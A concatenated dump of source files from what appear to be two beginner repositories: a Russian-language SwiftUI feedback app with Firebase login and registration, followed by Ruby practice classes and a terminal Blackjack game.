textHeight: CGFloat = 120 @State private var reportIndex = 0 var body: some View { ZStack { Color(#colorLiteral(red: 0.1185091361, green: 0.1185343638, blue: 0.1819397807, alpha: 1)).edgesIgnoringSafeArea(.all) VStack { Text("Выберите тег") .font(.callout) .foregroundColor(Color.init(#colorLiteral(red: 0.4676678777, green: 0.8382721543, blue: 0.9352027774, alpha: 1))) .frame(width: UIScreen.main.bounds.size.width-30, alignment: .leading) VStack(alignment: .leading) { TagView(colortags: ["problem","question","sentence"], selecttag: 0) .padding(.bottom) } VStack(alignment: .leading){ Text("Выберите отчет") .font(.callout) .foregroundColor(Color.init(#colorLiteral(red: 0.4676678777, green: 0.8382721543, blue: 0.9352027774, alpha: 1))) Form{ Section{ Picker(selection: $reportIndex, label: Text("Отчет")) { Text("Детальный").tag(0) Text("Атлас").tag(1) Text("Продуктовый").tag(2) } }.frame(width: 300, height: 50) }.frame(width: 300, height: 50) // .padding() .background(Color.init(#colorLiteral(red: 0.2196078431, green: 0.231372549, blue: 0.3137254902, alpha: 0.5))) // .foregroundColor(Color.white) // .overlay(RoundedRectangle(cornerRadius: 0).stroke(Color.gray, lineWidth: 1)) Text("Коротко опишите причину обращения") .font(.callout) .foregroundColor(Color.init(#colorLiteral(red: 0.4676678777, green: 0.8382721543, blue: 0.9352027774, alpha: 1))) HStack { ScrollView { TextView(placeholder: "", text: self.$textQuestion, minHeight: self.textHeight, calculatedHeight: self.$textHeight) .frame(minHeight: self.textHeight, maxHeight: self.textHeight) } .disabled(false) .lineLimit(5) .frame( height: 70) } .background(Color.init(#colorLiteral(red: 0.2196078431, green: 0.231372549, blue: 0.3137254902, alpha: 0.5))) // .padding() // .foregroundColor(Color.white) // .overlay(RoundedRectangle(cornerRadius: 0).stroke(Color.gray, lineWidth: 1)) Text("Комментарий") .font(.callout) .foregroundColor(Color.init(#colorLiteral(red: 0.4676678777, green: 0.8382721543, blue: 0.9352027774, alpha: 1))) HStack { ScrollView { TextView(placeholder: "", text: self.$textComment, minHeight: self.textHeight, calculatedHeight: self.$textHeight) .frame(minHeight: self.textHeight, maxHeight: self.textHeight) } .disabled(false) .lineLimit(7) .frame( height: 150) }.background(Color.init(#colorLiteral(red: 0.2196078431, green: 0.231372549, blue: 0.3137254902, alpha: 0.5))) // .padding() // .foregroundColor(Color.white) // .overlay(RoundedRectangle(cornerRadius: 0).stroke(Color.gray, lineWidth: 1)) } Spacer() }.padding() } } } struct DetailViewDiscNew_Previews: PreviewProvider { static var previews: some View { // DetailViewDisc(showingNew: .constant(true)) DetailViewDiscNew(showingNew: .constant(true)) } } <file_sep>// // PublicVar.swift // SwiftUiForm // // Created by <NAME> on 02.04.2020. // Copyright © 2020 <NAME>. All rights reserved. // import Combine final class PublicVar: ObservableObject { @Published var uid: String = "111" @Published var firstName: String = "" } <file_sep>// // PickerView.swift // SwiftUiForm // // Created by <NAME> on 30.04.2020. // Copyright © 2020 <NAME>. All rights reserved. // import SwiftUI struct PickerView: View { @State private var selection = 0 let colors = ["Red","Yellow","Green","Blue"] var body: some View { // 2. List { ForEach(0 ..< colors.count) { index in Text(self.colors[index]).tag(index) } } } } struct PickerView_Previews: PreviewProvider { static var previews: some View { PickerView() } } <file_sep>// // AlertError.swift // SwiftUiForm // // Created by <NAME> on 01.04.2020. // Copyright © 2020 <NAME>. All rights reserved. // import Foundation import SwiftUI func showAllert(with title: String, and message: String) { _ = Alert(title: Text(title), message: Text(message), dismissButton: .default(Text("Ok"))) } <file_sep>// // FeedBackData.swift // SwiftUiForm // // Created by <NAME> on 20.05.2020. // Copyright © 2020 <NAME>. All rights reserved. // import Foundation // // // //struct QuestionJson: Hashable, Codable, Identifiable { // var id:Int // var imageNameId:Int // var name:String // var imageName:String // var question:String // var description:String //} // //// var jsonData:[QuestionJson] = jsonParse() // // public var yourVariable = [1,2] // // //func jsonParse() { // let urlString = "http://172.16.31.10:8081/ords/ancloud/app/feedback/" // let url = URL(string: urlString) //// guard url != nil else{ //// return //// } // let session = URLSession.shared // let dataTask = session.dataTask(with: url!) { (data, response, error) in // if error == nil && data != nil { // if parseJSON(data!) != nil { // let yourVariable = self.parseJSON(data!) // } // } // } // dataTask.resume() // print(dataTask.self) // return yourVariable //} // // // //func parseJSON(_ jsonData: Data) -> QuestionJson? { // let decoder = JSONDecoder() // do { // let decodedData = try decoder.decode(QuestionJson.self, from: jsonData) // return decodedData // } catch { // print("Error in json") // return nil // } //} //let questionDataNew:[QuestionJson] = jsonParse() //let session = URLSession(configuration: .default) //let task = session.dataTask(with: url) { (data, response, error) in // if error != nil { // self.delegate?.didFailWithError(error: error!) // return // } //guard let file = Bundle.main.url(forResource: filename, withExtension: nil) // else { // fatalError("Couldn't find \(filename) in main bundle.") //} // //do { // data = try Data(contentsOf: file) //} catch { // fatalError("Couldn't load \(filename) from main bundle:\n\(error)") //} // //do { // let decoder = JSONDecoder() // return try decoder.decode(T.self, from: data) //} catch { // fatalError("Couldn't parse \(filename) as \(T.self):\n\(error)") //} <file_sep>// // RegisterView.swift // SwiftUiForm // // Created by <NAME> on 22.03.2020. // Copyright © 2020 <NAME>. All rights reserved. // import SwiftUI import Firebase struct RegisterView: View { @State var firstName: String = "" @State var lastName: String = "" @State var mail: String = "" @State var pass: String = "" @State private var showingAlert = false @State var errorRegister: String = " " @Binding var showingRegister: Bool @State private var alertShown = false @Environment(\.presentationMode) var presentationMode: Binding<PresentationMode> enum AuthResult { case success case failure(Error) } func register(name: String?, pass: String?, completion: @escaping (AuthResult) -> Void){ guard Validators.isFilled(firstName: firstName, mail: mail, pass: pass) else { completion(.failure(AuthError.notFilled)) return } guard Validators.isSimpleEmail(mail) else { completion(.failure(AuthError.invalidEmail)) return } Auth.auth().createUser(withEmail: self.mail, password: self.pass) { (result, error) in guard let _ = result else { completion(.failure(error!)) return } let db = Firestore.firestore() db.collection("users").addDocument(data: [ "firstName": self.firstName, "email":self.mail, "uid":result!.user.uid ]) { (error) in if error != nil { completion(.failure(AuthError.serverError)) } print(result!.user.uid) completion(.success) } } } var body: some View { NavigationView { ZStack { Color(#colorLiteral(red: 0.1185091361, green: 0.1185343638, blue: 0.1819397807, alpha: 1)).edgesIgnoringSafeArea(.all) VStack{ VStack(alignment: .leading){ Text("E-mail") .font(.callout) .foregroundColor(Color.init(#colorLiteral(red: 0.4676678777, green: 0.8382721543, blue: 0.9352027774, alpha: 1))) HStack { Image(systemName: "envelope").foregroundColor(.gray) TextField("", text: $mail) } .padding() .foregroundColor(Color.white) .overlay(RoundedRectangle(cornerRadius: 10).stroke(Color.gray, lineWidth: 1)) } VStack(alignment: .leading){ Text("Имя") .font(.callout) .foregroundColor(Color.init(#colorLiteral(red: 0.4676678777, green: 0.8382721543, blue: 0.9352027774, alpha: 1))) HStack { Image(systemName: "person").foregroundColor(.gray) TextField("", text: $firstName) } .padding() .foregroundColor(Color.white) .overlay(RoundedRectangle(cornerRadius: 10).stroke(Color.gray, lineWidth: 1)) } //VStack VStack(alignment: .leading){ Text("Пароль") .font(.callout) .foregroundColor(Color.init(#colorLiteral(red: 0.4676678777, green: 0.8382721543, blue: 0.9352027774, alpha: 1))) HStack { Image(systemName: "lock").foregroundColor(.gray) SecureField("", text: $pass) if self.mail != "" && self.firstName != "" && self.pass != "" { Button(action: { self.register(name: self.mail, pass: self.pass) { (result) in switch result { case .success: self.errorRegister = "Успешная регистрация" // self.alertShown.toggle() self.presentationMode.wrappedValue.dismiss() // self.showingRegister.toggle() case .failure(let error): self.errorRegister = error.localizedDescription Database.database().reference().child("News").setValue(88) self.alertShown.toggle() } } }) { Image(systemName: "chevron.right.circle").foregroundColor(.green)} .alert(isPresented: $alertShown) { () -> Alert in Alert(title: Text("Ошибка"), message: Text(errorRegister), dismissButton: .default(Text("Ok"))) } } } .padding() .foregroundColor(Color.white) .overlay(RoundedRectangle(cornerRadius: 10).stroke(Color.gray, lineWidth: 1)) } //VStack // Text(errorRegister) // .font(.callout) // .foregroundColor(Color.init(#colorLiteral(red: 0.8078431487, green: 0.02745098062, blue: 0.3333333433, alpha: 1))) // .padding() }.padding().offset(y: -200) //ZStack } } } } //#if DEBUG struct RegisterView_Previews: PreviewProvider { static var previews: some View { RegisterView(showingRegister: .constant(true)) } } //#endif <file_sep>// // SwiftUIView.swift // SwiftUiForm // // Created by <NAME> on 19.03.2020. // Copyright © 2020 <NAME>. All rights reserved. // import SwiftUI struct CircleShape: Shape { let progress: Double func path(in rect: CGRect) -> Path { var path = Path() path.addArc(center: CGPoint(x: rect.midX, y: rect.midY), radius: rect.width/2, startAngle: .radians(1.5 * .pi), endAngle: .init(radians: 2 * Double.pi * progress + 1.5 * Double.pi), clockwise: false) return path } } struct SwiftUIView: View { @State var pickerItem = 0 var body: some View { ZStack{ Color(#colorLiteral(red: 0.1411764771, green: 0.3960784376, blue: 0.5647059083, alpha: 1)).edgesIgnoringSafeArea(.all) VStack{ Text("Аналитика").font(.system(size: 32)).fontWeight(.heavy) Picker(selection: $pickerItem, label: Text("")) { Text("Сентябрь") Text("Октябрь") Text("Декабрь") }.pickerStyle(SegmentedPickerStyle()).padding(.horizontal, 15) HStack { CircleView(value: 0.5) CircleView(value: 0.3) CircleView(value: 0.9) } HStack{ DiagramView(value: 13) DiagramView(value: 100) DiagramView(value: 150) } Spacer() } } } } struct DiagramView: View { var value: CGFloat private var color: Color { if value < 80 { return .red } else if value > 80 && value < 120{ return .blue } else { return .green } } var body: some View { VStack{ ZStack(alignment: .bottom){ Rectangle().frame(width: 30, height: 200).foregroundColor(Color.white) Rectangle().frame(width: 30, height: value).foregroundColor(color) }.padding(.top, 16) Text("03").padding(.top, 4) } } } struct CircleView: View { var value: Double var body: some View{ ZStack(alignment: .center){ CircleShape(progress: 1).stroke(Color.white, style: StrokeStyle( lineWidth: 10, lineCap: .butt, lineJoin: .round, miterLimit: 0, dash: [], dashPhase: 0)) CircleShape(progress: value).stroke(Color.green, style: StrokeStyle( lineWidth: 10, lineCap: .round, lineJoin: .round, miterLimit: 0, dash: [], dashPhase: 0)) Text(String(value * 100) + "%").font(.system(size: 20)).foregroundColor(Color(#colorLiteral(red: 0.2392156869, green: 0.6745098233, blue: 0.9686274529, alpha: 1))) }.padding() } } struct SwiftUIView_Previews: PreviewProvider { static var previews: some View { SwiftUIView() } } <file_sep>// // CustomFormList.swift // SwiftUiForm // // Created by <NAME> on 26.05.2020. // Copyright © 2020 <NAME>. All rights reserved. // import SwiftUI struct CustomFormList: View { init() { UITableView.appearance().backgroundColor = .clear // tableview background UITableViewCell.appearance().backgroundColor = .clear // cell background } @ObservedObject var fetch = FetchToDo() var body: some View { ForEach(fetch.todos, id: \.self) { todo in ZStack(alignment: .trailing){ VStack(alignment: .leading){ Text(todo.name).font(Font.custom("Circe", size: 10)) .foregroundColor(Color.init(#colorLiteral(red: 0.7843137255, green: 0.7803921569, blue: 0.8, alpha: 1))) .padding([.leading, .bottom]) .lineLimit(1) Text(todo.question).font(Font.custom("Circe", size: 15)) .foregroundColor(Color.init(#colorLiteral(red: 1, green: 1, blue: 1, alpha: 1))) .padding([.leading, .bottom]) .lineLimit(1) Text(todo.description).font(Font.custom("Circe", size: 10)) .foregroundColor(Color.init(#colorLiteral(red: 0.7843137255, green: 0.7803921569, blue: 0.8, alpha: 1))) .padding([.leading, .bottom]) .lineLimit(2) }.frame(width: 320, height: 120, alignment: .leading) .background(Color.init(#colorLiteral(red: 0.2196078431, green: 0.231372549, blue: 0.3137254902, alpha: 1))) .cornerRadius(10) .shadow(radius: 10) Image(Glossary.isTag(numTag: todo.imageNameId) ) .resizable() .aspectRatio(contentMode: .fit) .frame(height: 20) .padding(EdgeInsets(top: 0, leading: 0, bottom: 120, trailing: 0)) } } } } struct CustomFormList_Previews: PreviewProvider { static var previews: some View { CustomFormList() } } <file_sep>// // UserLogin.swift // SwiftUiForm // // Created by <NAME> on 25.05.2020. // Copyright © 2020 <NAME>. All rights reserved. // import Foundation struct logInUser { var userLogin: String init(u: String) { userLogin = u } mutating func updateUserLogin (_ userlogin: String) { userLogin = userlogin } func returnUserLogin() -> String { return userLogin } } <file_sep>// // Question.swift // SwiftUiForm // // Created by <NAME> on 16.04.2020. // Copyright © 2020 <NAME>. All rights reserved. // import Foundation <file_sep>// // CustomForm.swift // SwiftUiForm // // Created by <NAME> on 16.04.2020. // Copyright © 2020 <NAME>. All rights reserved. // import SwiftUI struct CustomForm: View { var question:Question var body: some View { ZStack(alignment: .trailing){ VStack(alignment: .leading){ Text(question.name).font(Font.custom("Circe", size: 10)) .foregroundColor(Color.init(#colorLiteral(red: 0.7843137255, green: 0.7803921569, blue: 0.8, alpha: 1))) .padding([.leading, .bottom]) .lineLimit(1) Text(question.question).font(Font.custom("Circe", size: 15)) .foregroundColor(Color.init(#colorLiteral(red: 1, green: 1, blue: 1, alpha: 1))) .padding([.leading, .bottom]) .lineLimit(1) Text(question.description).font(Font.custom("Circe", size: 10)) .foregroundColor(Color.init(#colorLiteral(red: 0.7843137255, green: 0.7803921569, blue: 0.8, alpha: 1))) .padding([.leading, .bottom]) .lineLimit(2) }.frame(width: 320, height: 120, alignment: .leading) .background(Color.init(#colorLiteral(red: 0.2196078431, green: 0.231372549, blue: 0.3137254902, alpha: 1))) .cornerRadius(10) .shadow(radius: 10) Image(Glossary.isTag(numTag: question.imageNameId) ) .resizable() .aspectRatio(contentMode: .fit) .frame(height: 20) .padding(EdgeInsets(top: 0, leading: 0, bottom: 120, trailing: 0)) } } } struct CustomForm_Previews: PreviewProvider { static var previews: some View { CustomForm(question: questionData[1]) } } <file_sep>// // LoginView.swift // SwiftUiForm // // Created by <NAME> on 19.03.2020. // Copyright © 2020 <NAME>. All rights reserved. // import SwiftUI import Firebase //struct loginUser { // var userName: String // // // // init (userName: String) // // mutating func loginUserName (_ user_name: String) { // userName = user_name // } // func returnUserName () -> String { // return userName // } //} struct LoginView: View { @State var showingDetail = false @State var showingRegister = false @State var name: String = "" @State var pass: String = "" @State var errorLogin: String = " " @State var formOffset: CGFloat = 0 @State private var showingAlert = false @State private var alertShown = false @State var uidUser: String = "" var regNewUser = logInUser(u: "test") @State var showingNew = false @ObservedObject var uidPub = PublicVar() enum AuthResult { case success case failure(Error) } func login(name: String?, pass: String?, completion: @escaping (AuthResult) -> Void){ // Auth.auth().createUser(withEmail: self.name, password: self.pass) { (result, error) in // guard let _ = result else { // completion(.failure(error!)) // return // } // let db = Firestore.firestore() // db.collection("users").addDocument(data: [ // "firstName": self.firstName, // "email":self.mail, // "uid":result!.user.uid // ]) { (error) in // if error != nil { // completion(.failure(AuthError.serverError)) // } // print(result!.user.uid) // completion(.success) // } // // } Auth.auth().signIn(withEmail: self.name, password: self.pass) { (result, Error) in if Error != nil { // Error discription print("error") self.errorLogin = "Логин или пароль некорректы" self.alertShown = true }else{ self.showingDetail.toggle() self.errorLogin = " " print(result!.user.uid) self.uidUser = result!.user.uid self.uidPub.uid = result!.user.uid let db = Firestore.firestore() db.collection("users").whereField("uid", isEqualTo: self.uidUser) .getDocuments() { (querySnapshot, err) in if let err = err { print("Error getting documents: \(err)") } else { for document in querySnapshot!.documents { print("\(document.documentID) => \(document.data())") let data = document.data() self.uidPub.firstName = data["firstName"] as! String } } } } } } var body: some View { ZStack { Color(#colorLiteral(red: 0.1185091361, green: 0.1185343638, blue: 0.1819397807, alpha: 1)).edgesIgnoringSafeArea(.all) VStack{ if self.formOffset == 0 { Image("logo").resizable().frame(width: 120, height: 63) } ZStack{ VStack{ VStack(alignment: .leading){ Text("E-mail") .font(.callout) .foregroundColor(Color.init(#colorLiteral(red: 0.4676678777, green: 0.8382721543, blue: 0.9352027774, alpha: 1))) HStack { Image(systemName: "envelope").foregroundColor(.gray) TextField("", text: $name, onEditingChanged: { flag in withAnimation { self.formOffset = flag ? -180 : 0 if self.name != "" { self.formOffset = -180 } } } ) .disabled(false) } .padding() .foregroundColor(Color.white) .overlay(RoundedRectangle(cornerRadius: 10).stroke(Color.gray, lineWidth: 1)) } VStack(alignment: .leading){ Text("Пароль") .font(.callout) .foregroundColor(Color.init(#colorLiteral(red: 0.4676678777, green: 0.8382721543, blue: 0.9352027774, alpha: 1))) HStack { Image(systemName: "lock.open").foregroundColor(.gray) if name == "" { SecureField("", text: $pass).disabled(true) } else { SecureField("", text: $pass).disabled(false) } } .padding() .foregroundColor(Color.white) .overlay(RoundedRectangle(cornerRadius: 10).stroke(Color.gray, lineWidth: 1)) } }.padding(EdgeInsets(top: 80, leading: 10, bottom: 60, trailing: 10)) } VStack{ NavigationLink(destination: DetailView(uidUser: self.$uidPub.uid, firstName: self.$uidPub.firstName, questions: questionData), isActive: self.$showingDetail){Text("")} Button(action: { Auth.auth().signIn(withEmail: self.name, password: self.<PASSWORD>) { (result, Error) in if Error != nil { // Error discription print("error") self.errorLogin = "Логин или пароль некорректы" self.alertShown = true }else{ self.showingDetail.toggle() self.errorLogin = " " print(result!.user.uid) self.uidUser = result!.user.uid self.uidPub.uid = result!.user.uid let db = Firestore.firestore() db.collection("users").whereField("uid", isEqualTo: self.uidUser) .getDocuments() { (querySnapshot, err) in if let err = err { print("Error getting documents: \(err)") } else { for document in querySnapshot!.documents { print("\(document.documentID) => \(document.data())") let data = document.data() self.uidPub.firstName = data["firstName"] as! String } } } } } }) { Text("Войти") Image(systemName: "person.crop.circle.fill") } .alert(isPresented: $alertShown) { () -> Alert in Alert(title: Text(errorLogin), dismissButton: .default(Text("Ok"))) } // .sheet(isPresented: $showingDetail) { // DetailView(uidUser: self.$uidPub.uid, firstName: self.$uidPub.firstName) // } .padding(EdgeInsets(top: 20, leading: 80, bottom: 20, trailing: 80)) .foregroundColor(.white) .background(LinearGradient(gradient: Gradient(colors: [Color.init(#colorLiteral(red: 0.1331678629, green: 0.6027008891, blue: 0.9523112178, alpha: 1)), Color.init(#colorLiteral(red: 0.1176140383, green: 0.8171627522, blue: 0.9488934875, alpha: 1))]), startPoint: .leading, endPoint: .trailing)) .cornerRadius(3) NavigationLink(destination: // CustomFormRow(questions: questionData) // TagView() // DetailViewDiscNew(showingNew: self.$showingNew) CustomFormList() ){ Text("Переход") } } }.padding().offset(y: self.formOffset) } .navigationBarItems( trailing: Button("Регистрация",action: {self.showingRegister.toggle() }) .accentColor(Color.init(#colorLiteral(red: 0.03138631955, green: 0.5102779865, blue: 0.985108912, alpha: 1)))) .sheet(isPresented: $showingRegister) { RegisterView(showingRegister: self.$showingRegister) } } } struct LoginView_Previews: PreviewProvider { static var previews: some View { LoginView() } } <file_sep>// // DetailView.swift // SwiftUiForm // // Created by <NAME> on 19.03.2020. // Copyright © 2020 <NAME>. All rights reserved. // import SwiftUI import Firebase struct DetailView: View { @Environment(\.presentationMode) var presentationMode: Binding<PresentationMode> @Binding var uidUser: String @Binding var firstName: String // @State var q1: String @ObservedObject var uidPubDet = PublicVar() // @ObservedObject var fetch = FetchToDo() var questions:[Question] @State var showingNew = false var body: some View { ZStack { Color(#colorLiteral(red: 0.1185091361, green: 0.1185343638, blue: 0.1819397807, alpha: 1)).edgesIgnoringSafeArea(.all) VStack{ Text("Привет \(self.firstName)!!!").font(Font.custom("Circe", size: 20)) .foregroundColor(Color.init(#colorLiteral(red: 0.7843137255, green: 0.7803921569, blue: 0.8, alpha: 1))) .frame(width: 300, height: 40, alignment: .top) .padding(.top, 40) ScrollView(showsIndicators: false) { CustomFormList().padding().frame(width: 320) } } //ZStack // .navigationBarTitle(Text("Привет \(self.firstName)!!!")) // .edgesIgnoringSafeArea(.top) .navigationBarItems( trailing: Button(action: {self.showingNew.toggle() }) { Image(systemName: "plus.circle") } .sheet(isPresented: $showingNew) { // DetailViewDisc(showingNew: self.$showingNew) DetailViewDiscNew(showingNew: self.$showingNew) }) }.padding(.top, -80) } } struct DetailView_Previews: PreviewProvider { @State static var firstName = "" @State static var uidUser = "" static var previews: some View { DetailView(uidUser: $uidUser, firstName: $firstName, questions: questionData) } } <file_sep>// // Glossary.swift // SwiftUiForm // // Created by <NAME> on 22.04.2020. // Copyright © 2020 <NAME>. All rights reserved. // import Foundation class Glossary{ static func isTag (numTag: Int) -> String { switch numTag { case 0: return "problem" case 1: return "question" case 2: return "sentence" default: return "question" } } } <file_sep>// // DiagramForm.swift // SwiftUiForm // // Created by <NAME> on 19.03.2020. // Copyright © 2020 <NAME>. All rights reserved. // import Foundation <file_sep>// // Validators.swift // SwiftUiForm // // Created by <NAME> on 31.03.2020. // Copyright © 2020 <NAME>. All rights reserved. // import Foundation class Validators { static func isFilled (firstName: String?, mail: String?, pass: String?) -> Bool { guard !(firstName ?? "").isEmpty, !(mail ?? "").isEmpty, !(pass ?? "").isEmpty else{ return false } return true } static func isSimpleEmail (_ mail: String) -> Bool { let emailRegEx = "^.+@.+\\..{2,}$" return check (text: mail, regEx: emailRegEx) } static func check (text: String, regEx: String) -> Bool { let predicate = NSPredicate(format: "SELF MATCHES %@", regEx) return predicate.evaluate(with: text) } } <file_sep>// // Data.swift // SwiftUiForm // // Created by <NAME> on 16.04.2020. // Copyright © 2020 <NAME>. All rights reserved. // import Foundation struct Question: Hashable, Codable, Identifiable { var id:Int var imageNameId:Int var name:String var imageName:String var question:String var description:String } let questionData:[Question] = load("drinks.json") func load<T:Decodable>(_ filename:String, as type:T.Type = T.self) -> T { let data:Data guard let file = Bundle.main.url(forResource: filename, withExtension: nil) else { fatalError("Couldn't find \(filename) in main bundle.") } do { data = try Data(contentsOf: file) } catch { fatalError("Couldn't load \(filename) from main bundle:\n\(error)") } do { let decoder = JSONDecoder() print( try decoder.decode(T.self, from: data)) return try decoder.decode(T.self, from: data) } catch { fatalError("Couldn't parse \(filename) as \(T.self):\n\(error)") } } struct Todo: Hashable, Codable, Identifiable { let id: Int let imageName: String let imageNameId: Int let name: String let question: String let description: String } class FetchToDo: ObservableObject { // 1. @Published var todos = [Todo]() init() { let url = URL(string: "http://172.16.17.32:8081/ords/ancloud/app/feedback/")! // 2. URLSession.shared.dataTask(with: url) {(data, response, error) in do { if let todoData = data { // 3. let decodedData = try JSONDecoder().decode([Todo].self, from: todoData) DispatchQueue.main.async { self.todos = decodedData print(decodedData) } } else { print("No data") } } catch { print("Error") } }.resume() } } <file_sep>// // ContentView.swift // SwiftUiForm // // Created by <NAME> on 19.03.2020. // Copyright © 2020 <NAME>. All rights reserved. // import SwiftUI struct ContentView: View { @State private var showingLoginView = false var body: some View { NavigationView { VStack(alignment: .leading) { GeometryReader { geometry in HStack(spacing: 10){ NavigationLink(destination: LoginView(), label: { Text("Переход") }) .frame(width: geometry.size.width / 2 - 10 , height: 50).accentColor(Color.init(#colorLiteral(red: 0.8078431487, green: 0.02745098062, blue: 0.3333333433, alpha: 1))).background(Color.init(#colorLiteral(red: 0.9178877915, green: 0.9178877915, blue: 0.9178877915, alpha: 1))).cornerRadius(10) } }.padding().frame(height: 50) Divider() Spacer() } .navigationBarTitle("Обращения") } } } struct ContentView_Previews: PreviewProvider { static var previews: some View { ContentView() } } <file_sep>// // CustomFormRow.swift // SwiftUiForm // // Created by <NAME> on 16.04.2020. // Copyright © 2020 <NAME>. All rights reserved. // import SwiftUI struct CustomFormRow: View { var questions:[Question] @State var showingNew = false var body: some View { ScrollView(showsIndicators: false, content: { ForEach(self.questions, id: \.self) { question in NavigationLink(destination: DetailViewDisc(question: question)) { CustomForm(question: question) .frame(width: 320) .padding() } } } ) } } struct CustomFormRow_Previews: PreviewProvider { static var previews: some View { CustomFormRow(questions: questionData) } }
f1b346c858e000ff03b1daa5077f0e3848c69315
[ "Swift" ]
22
Swift
VadimKuida/SwiftUiForm
08c63257da684e794ef08ee1bb1f0bd2c69c13e1
74fe8ebaaf63ae1d1d5a770b86f46d62820baedc
refs/heads/master
<file_sep>class GoodDog attr_accessor :name, :height, :weight def initialize(n,h,w) @name = n @height = h @weight = w end def speak "#{name} says arf!" end def change_info(n,h,w) self.name = n self.height = h self.weight = w end def info "#{self.name} weighs #{self.weight} and is #{self.height} tall" end def some_method self.info end end # #sparky = GoodDog.new("Sparky", "12 inches", "10 lbs") #puts sparky.info # #sparky.change_info('Sparticus', '24 inches', '45 lbs') #puts sparky.some_method #fido = GoodDog.new("Fido") # #puts fido.speak # #puts sparky.name # #sparky.name = "Sparticus" # #puts sparky.name class MyCar attr_accessor :color attr_reader :year def initialize(y,c,model) @year = y @color = c @model = model @current_speed = 0 end def speed_up(number) @current_speed += number puts "You push the gas and accelerate to #{number} mph." end def brake(number) @current_speed -= number puts "You push the brake and decelerate #{number} mph." end def current_speed puts "You are new going #{@current_speed} mph." end def shut_down @current_speed = 0 puts "Lets park this pile of junk!" end def spray_paint puts "The car is #{self.color} right now.\n\n " puts "What color would you like to paint it?\n\n" new_color = gets.chomp self.color = new_color puts "The car is now #{self.color}!" end def self.calculate_mpg(miles, fuel) mpg = miles / fuel puts "You are gettin #{mpg} miles per gallon" end def to_s "this car is a #{self.year} #{@model} and it's #{self.color}" end end sprint = MyCar.new(1992, "red", "Chevy Sprint") sprint.speed_up(5) sprint.current_speed sprint.speed_up(2) sprint.current_speed sprint.brake(5) sprint.current_speed sprint.brake(2) sprint.current_speed sprint.shut_down sprint.current_speed puts sprint.color puts sprint.year #sprint.spray_paint MyCar.calculate_mpg(200,10) puts sprint class Person attr_accessor :name def initialize(name) @name = name end end bob = Person.new("Steve") bob.name = "Doug" puts bob.name<file_sep> # CARDS/////////////////////////////////////////////////////////////// class Card attr_accessor :value, :suit def initialize(v,s) @value = v @suit = s end def to_s "This is a #{@value} of #{suit}" end end # DECK//////////////////////////////////////////////////////////////// class Deck attr_accessor :cards def initialize(num_of_decks) @cards = [] ['Hearts', 'Spades', 'Clubs', 'Diamonds'].each do |suit| [2, 3, 4, 5, 6, 7, 8, 9, 10, 'J', 'Q', 'K', 'A'].each do |value| @cards << Card.new(value, suit) end end @cards *= num_of_decks scramble! end def scramble! cards.shuffle! end def deal_card @cards.pop end end # TABLE/////////////////////////////////////////////////////////////// class Table attr_accessor :player, :dealer def initialize(p, d) @player = p @dealer = d end def display_cards(player_stand = false) system "clear" puts "Hi #{player.name}!" puts "Rules: (1) Dealer hits under 17 (2)We are playing with four decks \n\n" puts "Let's get started! \n\n" puts "-------------------------------------" puts "Dealer Cards:\n\n" if !player_stand puts "#{dealer.hand[0].value} of #{dealer.hand[0].suit}" puts "#######" else dealer.hand.each do |card| puts "#{card.value} of #{card.suit}" end puts "\nfor a total of #{dealer.calc_cards(dealer.hand)}\n\n\n" end puts "\n-------------------------------------\n\n" puts "#{player.name}'s Cards:\n\n" player.hand.each do |card| puts "#{card.value} of #{card.suit}" end puts "\nfor a total of #{player.calc_cards(player.hand)}\n\n\n" puts "-------------------------------------\n\n" end end # HAND//////////////////////////////////////////////////////////////// module Hand def hit(card) @hand << card end def calc_cards(hand) @total = 0 hand.each do |card| if card.value.to_i > 0 # if the card is a number @total += card.value elsif ["J", "Q", "K"].include?(card.value) #if the card is J, Q, or K @total += 10 elsif card.value == "A" && @total > 10 @total += 1 elsif card.value == "A" && @total <= 10 @total += 11 end end return @total end end # PLAYER////////////////////////////////////////////////////////////// class Player attr_accessor :name, :hand include Hand def initialize @name = '' @hand = [] end def player_action puts "Would you like to Hit or Stay? enter h or s" @action = gets.chomp end def stand false end end # DEALER////////////////////////////////////////////////////////////// class Dealer attr_accessor :hand include Hand def initialize @hand = [] end end # BLACKJACK GAME///////////////////////////////////////////////////// class Blackjack attr_accessor :deck, :player, :dealer, :table, :game_count def initialize @player = Player.new @dealer = Dealer.new @table = Table.new(player,dealer) @game_count = 0 end def start_game if game_count > 0 system 'clear' puts 're-shuffling the cards' sleep 1 end @deck = Deck.new(4) system 'clear' if self.game_count == 0 puts "Hi, what's your name?" player.name = gets.chomp end player.hand = [] player.hand.push( deck.deal_card ) player.hand.push( deck.deal_card ) dealer.hand = [] dealer.hand.push( deck.deal_card ) dealer.hand.push( deck.deal_card ) table.display_cards player_turn end def player_turn @action = '' #check for Blackjack if check_result == 'blackjack' @blackjack = true else #ask to hit or Stay @action = player.player_action while !['h', 's'].include?(@action) puts "Sorry I didn't get that. Plase enter h for hit or s for stay." @action = gets.chomp end end while @action == 'h' and !@blackjack player.hand.push( deck.deal_card ) sleep 0.5 table.display_cards break if check_result(@action) @action = player.player_action end if @action == 's' #check for Blackjack if player.calc_cards(player.hand) == 21 "dealer has Blackjack" end dealer_turn end end def dealer_turn table.display_cards(true) while dealer.calc_cards(dealer.hand) < 17 sleep 0.5 dealer.hand.push( deck.deal_card ) table.display_cards(true) end check_result(@action) end def check_result(action = false) @player_total = player.calc_cards(player.hand) @dealer_total = dealer.calc_cards(dealer.hand) if player.hand.count == 2 and @player_total == 21 table.display_cards(true) puts "Blackjack!" return 'blackjack' elsif @player_total > 21 puts "bust" true elsif @player_total == 21 puts "you win" true elsif @player_total > @dealer_total and @action == 's' puts "you beat the dealer" true elsif @dealer_total > 21 and @action == 's' puts "dealer bust, you win" true elsif @dealer_total > @player_total and @action == 's' puts "The dealer wins" true elsif @dealer_total == @player_total and @action == 's' puts "tie" true end end end game = Blackjack.new begin game.start_game game.game_count += 1 puts "\n\nWould you like to play again #{game.player.name}? y for yes, n for no" play_again = gets.chomp while !['y', 'n'].include?(play_again) puts "\n\nSorry I didn't get that. Plase enter y for yes or n for no." play_again = gets.chomp end end while play_again == 'y'<file_sep> # here is a test for github # CARDS/////////////////////////////////////////////////////////////// class Card attr_accessor :value, :suit, :formated_value, :formated_suit def initialize(v,s) @value = v @suit = s @formated_value = "|#{pretty_value(@value)} | " @formated_suit = "| #{pretty_suit(@suit)} | " end def pretty_suit(suit) case suit when 'H' then "\u2665" when 'D' then "\u2666" when 'S' then "\u2660" when 'C' then "\u2663" end end def pretty_value(value) if value != 10 " #{value}" else "10" end end end 